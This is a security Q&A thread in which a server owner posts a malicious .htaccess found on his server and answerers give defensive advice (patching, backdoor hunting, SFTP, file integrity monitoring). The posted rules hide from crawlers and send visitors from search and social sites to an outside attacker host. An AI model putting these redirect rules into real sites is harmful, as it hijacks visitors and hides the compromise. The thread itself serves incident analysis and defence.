Protect against attack that modifies .htaccess?

Question

I have a dedicated server. There is no code/site live now, only a coming soon page. A few minutes ago I realized that someone has changed the .htaccess file.

How can I protect against that kind of attack?

The new htaccess contains these lines:

<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(tweet|twit|linkedin|instagram|facebook\.|myspace\.|bebo\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(hi5\.|blogspot\.|friendfeed\.|friendster\.|google\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(lycos\.|metacrawler\.|mail\.|pinterest|instagram).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(imgres).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
RewriteCond %{REMOTE_ADDR}      !^66\.249.*$ [NC]
RewriteCond %{REMOTE_ADDR}      !^74\.125.*$ [NC]
RewriteCond %{HTTP_COOKIE}      !^.*MuA.*$ [NC]
RewriteCond %{HTTP_USER_AGENT}  .*(Windows|Macintosh|iPad|iPhone|iPod|Android).* [NC]
RewriteCond %{HTTPS}            ^off$
RewriteRule .* - [E=MuA:%{TIME_SEC}]
RewriteRule .* - [E=YYP:avlasenko.prestigehonda.net]
RewriteCond %{ENV:MuA} 0
RewriteRule ^.* http://%{ENV:YYP}/openx/www/delivery/lg.php?bannerid=3613&campaignid=1349&zoneid=845&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=3daf1514be  [R=302,NE,L,CO=MuA:%{ENV:MuA}:%{HTTP_HOST}:11598:/:0:HttpOnly]
RewriteCond %{ENV:MuA} 1
RewriteRule ^.* http://%{ENV:YYP}/tracker?event=media_connect_error&source=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&video_duration=128&domain=videocloud&playlist=1521712908001&video=1505115769001&platform=as3&time=1340351758343&errorCode=FMSConnectionError&flash_version=WIN\%2010\%2C1\%2C102\%2C64&embed=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&mediaURL=rtmp://brightcove.fcod.llnwd.net/a500/e1/uds/rtmp/ondemand/\%26mp4:89804535001/89804535001_1505158207001_acma02-alus-h264.mp4\%261340341200000\%26303e88e79ad49760dd42e3d253368813&account=89804535001&player_name=Direct\%20Lyrics\%20Sidebar\%20Playlist\%20Player(TEMP)&player=1522730664001&video_name=Top\%205\%20ACMA\%20Nominees\%202012  [R=302,NE,L,CO=MuA:%{ENV:MuA}:%{HTTP_HOST}:11468:/:0:HttpOnly]
....
more sites
....
</IfModule>

score 15 · Answer 1 · answered Apr 09 '13 at 19:42

The modified .htaccess is not part of the attack; it is something that the attacker installed after having taken the machine over. The vulnerability which the attacker exploited to hijack your machine is elsewhere.

Given the lack of precise information, I can only give the generic and harsh advice: find yourself a sysadmin who will keep your machine up to date, and do some code audit to find out potential issues in your site.

score 3 · Accepted Answer · answered Apr 10 '13 at 12:33

3

you should take a look at this article 10 FTP Clients Malware Steals Credentials and this article Google Image Poisoning.

This is a known, documented attack. I hope this helps.

answered Apr 10 '13 at 12:33

Panos Kalatzantonakis

146
5

All FTP logins send login credentials as plaintext. Use SCP/SFTP instead. And as the article notes, don't store login credentials in the client, it's just waiting to be scraped. – Fiasco Labs Sep 30 '14 at 02:55

score 2 · Answer 3 · answered Apr 09 '13 at 22:56

As Thomas mentioned, the htaccess thing is a symptom, not a cause. Other symptoms you might want to look for are backdoor scripts that the attacker almost certainly installed on your website to allow him to retain control even after you fix the initial vulnerability. In my experience, backdoor scripts are installed in well over 90% of instances of website attacks; expect several to be present.

As for the initial vulnerability, if you're running wordpress, joomla, or some other common framework, check to make sure you're up on your updates. And in particular, check your themes and your plugins. Any vulnerable code that is present can be used against you, even if it's not "activated". About 60% of the cases I see happen because of unpatched plugins.

Also check your FTP logs. In about 15% of the cases I see, the site's FTP password leaked and was used by the attacker to upload malicious content. FTP passwords typically leak as a result of malware on a developer's workstation. You get a virus on your computer, and the virus digs up all your saved passwords from Dreamweaver, CuteFTP, etc., and sends them to the attacker. It could be you, or it could be anyone you gave your password to; typically third-party web designers are the source of the leak. You can prevent this by (a) not giving out your FTP password, or (b) CHANGING your FTP password after someone who has it no longer needs it. And, of course, don't save your passwords in programs like FileZilla or Dreamweaver, or let anyone else do the same.

This is an old answer, but why can't I save passwords in FileZilla? — mplungjan, Jan 31 '18 at 06:33
@mplungjan rummaging through your saved passwords in filezilla's config files is a well-established pattern for any malware that gets even non-privileged access on user workstations. Best to store credentials somewhere that isn't as likely to be compromised. — tylerl, Jan 31 '18 at 07:12
Ahh - ok. Not too worried about that. Thanks. I thought you meant a) FZ is a ftp collecting scamware or b) hackers had a way to intercept FTP passwords from the app. Whatever reason, my htaccess file and root has been subtly infected to redirect search engines to viagra sites :( https://security.stackexchange.com/questions/178766/htaccess-hacked-but-only-a-little — mplungjan, Jan 31 '18 at 07:15

score 1 · Answer 4 · answered Apr 09 '13 at 23:43

If you want to monitor when files change without you doing it on purpose, you should consider file integrity monitoring, such as tripwire, etc. Then you can trigger alerts when files change, this will help alert you to an attack. This will no prevent the attack though, especially if the attacker has gotten root or at least privileges in your web directory.

On the same note, you should also consider running your webserver in a jail (chroot) in order to limit access to other parts of your server, if the attack originated at the web server level and not elsewhere.

score 0 · Answer 5 · answered Sep 29 '14 at 23:54

I always recommend setting AllowOverride None on production servers and keeping the rewrite rules and other settings you need in the virtualhost orr httpd.conf. Having htaccess files enabled is both a significant performance issue and an even bigger security concern.

In this case it won't prevent the attack from occurring, but it will stop the htaccess file from having an impact. Until the attackers start modifying your html/php files. Changing your password and looking for web backdoors in your website is a good place to start.

Protect against attack that modifies .htaccess?

5 Answers5